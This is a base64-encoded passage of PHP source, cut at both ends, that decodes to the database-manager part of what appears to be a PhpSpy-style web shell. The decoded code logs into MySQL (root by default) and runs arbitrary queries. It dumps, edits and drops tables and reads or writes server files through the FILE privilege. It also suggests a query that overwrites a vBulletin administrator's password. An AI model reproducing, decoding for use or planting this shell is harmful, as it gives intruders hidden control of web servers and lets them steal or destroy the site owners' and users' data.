ucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7CglwKCc6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOwoJcCgnREJVc2VyOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7CglwKCdEQlBhc3M6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsKCXAoJ0RCTmFtZTonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYm5hbWUnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRibmFtZSkpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwoJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0ibXlzcWxmaWxlIiBpZD0ibXlzcWxmaWxlIj4nKTsKCXAoJzxoMj5VcGxvYWQgZmlsZTwvaDI+Jyk7CglwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7CglwKCc8cD5TYXZlIHBhdGgoZnVsbHBhdGgpOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJzYXZlcGF0aCIgc2l6ZT0iNDUiIHR5cGU9InRleHQiIC8+IENob29zZSBhIGZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHR5cGU9ImZpbGUiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWx1cGxvYWRcJyk7Ij5VcGxvYWQ8L2E+PC9wPicpOwoJcCgnPGgyPkRvd25sb2FkIGZpbGU8L2gyPicpOwoJcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7CgltYWtlaGlkZSgnZGJob3N0Jyk7CgltYWtlaGlkZSgnZGJwb3J0Jyk7CgltYWtlaGlkZSgnZGJ1c2VyJyk7CgltYWtlaGlkZSgnZGJwYXNzJyk7CgltYWtlaGlkZSgnZGJuYW1lJyk7CgltYWtlaGlkZSgnY2hhcnNldCcpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsZmlsZScpOwoJcCgnPC9mb3JtPicpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGFkbWluJykgewoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkZGJmb3JtID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJjb25uZWN0IiBuYW1lPSJjb25uZWN0IiB2YWx1ZT0iMSIgLz4nOwoJaWYoaXNzZXQoJGRiaG9zdCkpewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYmhvc3RcIiBuYW1lPVwiZGJob3N0XCIgdmFsdWU9XCIkZGJob3N0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJ1c2VyKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnVzZXJcIiBuYW1lPVwiZGJ1c2VyXCIgdmFsdWU9XCIkZGJ1c2VyXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwYXNzKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBhc3NcIiBuYW1lPVwiZGJwYXNzXCIgdmFsdWU9XCIkZGJwYXNzXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJwb3J0KSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYnBvcnRcIiBuYW1lPVwiZGJwb3J0XCIgdmFsdWU9XCIkZGJwb3J0XCIgLz5cbiI7Cgl9CglpZihpc3NldCgkZGJuYW1lKSkgewoJCSRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJkYm5hbWVcIiBuYW1lPVwiZGJuYW1lXCIgdmFsdWU9XCIkZGJuYW1lXCIgLz5cbiI7Cgl9CglpZihpc3NldCgkY2hhcnNldCkpIHsKCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiY2hhcnNldFwiIG5hbWU9XCJjaGFyc2V0XCIgdmFsdWU9XCIkY2hhcnNldFwiIC8+XG4iOwoJfQoKCWlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAkc2F2ZWFzZmlsZSkgewoJCWlmICghJHRhYmxlKSB7CgkJCW0oJ1BsZWFzZSBjaG9vc2UgdGhlIHRhYmxlJyk7CgkJfSBlbHNlIHsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCQkJJGZwID0gQGZvcGVuKCRwYXRoLCd3Jyk7CgkJCWlmICgkZnApIHsKCQkJCSRyZXN1bHQgPSBxKCdTSE9XIHRhYmxlcycpOwoJCQkJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJCQkJJG15c3FsZGF0YSA9ICcnOwoJCQkJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgewoJCQkJCWlmIChpc3NldCgkdGFibGVbJGN1cnJvd1swXV0pKSB7CgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOwoJCQkJCX0KCQkJCX0KCQkJCWZjbG9zZSgkZnApOwoJCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRwYXRoKTsKCQkJCW0oJ0RhdGFiYXNlIGhhcyBzdWNjZXNzIGJhY2t1cCB0byA8YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRwYXRoLic8L2E+Jyk7CgkJCQlteXNxbF9jbG9zZSgpOwoJCQl9IGVsc2UgewoJCQkJbSgnQmFja3VwIGZhaWxlZCcpOwoJCQl9CgkJfQoJfQoJaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgewoJCSRrZXlzdHIgPSAkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJaWYgKCR2YWwpIHsKCQkJCSRrZXlzdHIgLj0gJHRtcC4ka2V5OwoJCQkJJHZhbHN0ciAuPSAkdG1wLiInIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJCSR0bXAgPSAnLCc7CgkJCX0KCQl9CgkJaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgewoJCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQkJbShxKCJJTlNFUlQgSU5UTyAkdGFibGVuYW1lICgka2V5c3RyKSBWQUxVRVMgKCR2YWxzdHIpIikgPyAnSW5zZXJ0IG5ldyByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsKCQl9Cgl9CglpZiAoJHVwZGF0ZSAmJiAkaW5zZXJ0c3FsICYmICRiYXNlNjQpIHsKCQkkdmFsc3RyID0gJHRtcCA9ICcnOwoJCWZvcmVhY2goJGluc2VydHNxbCBhcyAka2V5ID0+ICR2YWwpIHsKCQkJJHZhbHN0ciAuPSAkdG1wLiRrZXkuIj0nIi5hZGRzbGFzaGVzKCR2YWwpLiInIjsKCQkJJHRtcCA9ICcsJzsKCQl9CgkJaWYgKCR2YWxzdHIpIHsKCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCW0ocSgiVVBEQVRFICR0YWJsZW5hbWUgU0VUICR2YWxzdHIgV0hFUkUgJHdoZXJlIExJTUlUIDEiKSA/ICdSZWNvcmQgdXBkYXRpbmcnIDogbXlzcWxfZXJyb3IoKSk7CgkJfQoJfQoJaWYgKCRkb2luZyA9PSAnZGVsJyAmJiAkYmFzZTY0KSB7CgkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkkZGVsZXRlX3NxbCA9ICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSI7CgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOwoJfQoKCWlmICgkdGFibGVuYW1lICYmICRkb2luZyA9PSAnZHJvcCcpIHsKCQlkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsKCQlpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsKCQkJbSgnRHJvcCB0YWJsZSBvZiBzdWNjZXNzJyk7CgkJCSR0YWJsZW5hbWUgPSAnJzsKCQl9IGVsc2UgewoJCQltKG15c3FsX2Vycm9yKCkpOwoJCX0KCX0KCgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJcCgnPHA+Jyk7CglwKCdEQkhvc3Q6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJob3N0Jywnc2l6ZSc9PjIwLCd2YWx1ZSc9PiRkYmhvc3QpKTsKCXAoJzonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7CglwKCdEQlVzZXI6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsKCXAoJ0RCUGFzczonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBhc3MnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRicGFzcykpOwoJcCgnREJDaGFyc2V0OicpOwoJbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nY29ubmVjdCcsJ3ZhbHVlJz0+J0Nvbm5lY3QnLCd0eXBlJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpewoJaWYgKGFjdGlvbiA9PSAnZGVsJykgewoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOwoJfQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsKCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OwoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7CgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgewoJaWYoIWRibmFtZSkgcmV0dXJuOwoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsKCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7CglpZighdGFibGVuYW1lKSByZXR1cm47CglpZiAoZG9pbmcpIHsKCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOwoJfQoJaWYgKHBhZ2UpIHsKCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsKCX0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsKCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+Cjw/cGhwCgkvLyBTUUwKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7CgltYWtlaGlkZSgnZG9pbmcnKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOwoJbWFrZWhpZGUoJ2Jhc2U2NCcpOwoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOwoJcCgkZGJmb3JtKTsKCWZvcm1mb290KCk7CgoJLy8gRGF0YQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CglwKCRkYmZvcm0pOwoJaWYgKCEkZGJuYW1lKSB7CgkJbWFrZWhpZGUoJ2RibmFtZScpOwoJfQoJZm9ybWZvb3QoKTsKCgoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCXAoJGRiZm9ybSk7CgltYWtlaGlkZSgndGFibGVuYW1lJyk7CgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOwoJbWFrZWhpZGUoJ2RvaW5nJyk7Cglmb3JtZm9vdCgpOwoKCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CgkkcGFnZW51bSA9IDMwOwoJJHBhZ2UgPSBpbnR2YWwoJHBhZ2UpOwoJaWYoJHBhZ2UpIHsKCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOwoJfSBlbHNlIHsKCQkkc3RhcnRfbGltaXQgPSAwOwoJCSRwYWdlID0gMTsKCX0KCWlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsKCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOwoJCS8vIGdldCBteXNxbCBzZXJ2ZXIKCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsKCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7CgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOwoKCQkvLyBTaG93IGRhdGFiYXNlCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsKCQkkZGJzID0gYXJyYXkoKTsKCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOwoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOwoJCX0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsKCQkkdGFibGVkYiA9IGFycmF5KCk7CgkJaWYgKCRkYm5hbWUpIHsKCQkJcCgnPHA+Jyk7CgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUpIHsKCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsKCQkJfQoJCQlwKCc8L3A+Jyk7CgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsKCgkJCSRnZXRudW1zcWwgPSAnJzsKCQkJJHJ1bnF1ZXJ5ID0gMDsKCQkJaWYgKCRzcWxfcXVlcnkpIHsKCQkJCSRydW5xdWVyeSA9IDE7CgkJCX0KCQkJJGFsbG93ZWRpdCA9IDA7CgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7CgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7CgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsKCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7CgkJCQkkYWxsb3dlZGl0ID0gMTsKCQkJfQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsKCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSA8Zm9udCBjb2xvcj1yZWQ+PGI+Jy4kZGJuYW1lLic8L2ZvbnQ+PC9iPjo8QlI+RXhhbXBsZSBWQkIgUGFzc3dvcmQ6IDxmb250IGNvbG9yPXJlZD52YmF0ZWFtPC9mb250PjxCUj48Zm9udCBjb2xvcj15ZWxsb3c+VVBEQVRFIGB1c2VyYCBTRVQgYHBhc3N3b3JkYCA9IFwnNjllNTNlNWFiOTUzNmU1NWQzMWZmNTMzYWVmYzRmYmVcJywgc2FsdCA9IFwncDVUXCcgV0hFUkUgYHVzZXJpZGAgPSBcJzFcJyA8L2ZvbnQ+CgkJCTwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjUwcHg7b3ZlcmZsb3c6YXV0bzsiPicuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5LEVOVF9RVU9URVMpLic8L3RleHRhcmVhPjwvdGQ+PHRkIHN0eWxlPSJwYWRkaW5nOjAgNXB4OyI+PGlucHV0IGNsYXNzPSJidCIgc3R5bGU9ImhlaWdodDo1MHB4OyIgbmFtZT0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJRdWVyeSIgLz48L3RkPjwvdHI+PC90YWJsZT48L3A+Jyk7CgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsKCQkJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7CgkJCXAoJGRiZm9ybSk7CgkJCXAoJzwvZm9ybT4nKTsKCQkJaWYgKCR0YWJsZW5hbWUgfHwgKCRydW5xdWVyeSAmJiAkc3FsX3F1ZXJ5KSkgewoJCQkJaWYgKCRkb2luZyA9PSAnc3RydWN0dXJlJykgewoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7CgkJCQkJJHJvd2RiID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7CgkJCQkJcCgnPHRkPkZpZWxkPC90ZD4nKTsKCQkJCQlwKCc8dGQ+VHlwZTwvdGQ+Jyk7CgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOwoJCQkJCXAoJzx0ZD5LZXk8L3RkPicpOwoJCQkJCXAoJzx0ZD5EZWZhdWx0PC90ZD4nKTsKCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOwoJCQkJCXAoJzwvdHI+Jyk7CgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsKCQkJCQkJJHRoaXNiZyA9IGJnKCk7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7CgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsKCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOwoJCQkJCQlwKCc8L3RyPicpOwoJCQkJCX0KCQkJCQl0YmZvb3QoKTsKCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0JykgewoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOwoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKCQkJCQkJJHJvd2RiW10gPSAkcm93OwoJCQkJCX0KCQkJCQkkcnMgPSBhcnJheSgpOwoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQl9IGVsc2UgewoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsKCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsKCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOwoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJCQl9CgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7CgkJCQkJcCgkZGJmb3JtKTsKCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsKCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsKCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOwoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7CgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsKCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsKCQkJCQkJfSBlbHNlIHsKCQkJCQkJCSR2YWx1ZSA9ICcnOwoJCQkJCQl9CgkJCQkJCSR0aGlzYmcgPSBiZygpOwoJCQkJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7CgkJCQkJfQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsKCQkJCQkJcCgnPHRyIGNsYXNzPSJmb3V0Ij48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOwoJCQkJCX0gZWxzZSB7CgkJCQkJCXAoJzx0ciBjbGFzcz0iZm91dCI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0idXBkYXRlIiB2YWx1ZT0iVXBkYXRlIiAvPjwvdGQ+PC90cj4nKTsKCQkJCQkJbWFrZWhpZGUoJ2Jhc2U2NCcsICRiYXNlNjQpOwoJCQkJCX0KCQkJCQlwKCc8L3RhYmxlPjwvZm9ybT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsKCQkJCQlmb3JlYWNoKCRxdWVyeXMgYXMgJG51bT0+JHF1ZXJ5KSB7CgkJCQkJCWlmICgkcXVlcnkpIHsKCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7CgkJCQkJCQlzd2l0Y2gocXkoJHF1ZXJ5KSkKCQkJCQkJCXsKCQkJCQkJCQljYXNlIDA6CgkJCQkJCQkJCXAoJzxoMj5FcnJvciA6ICcubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsKC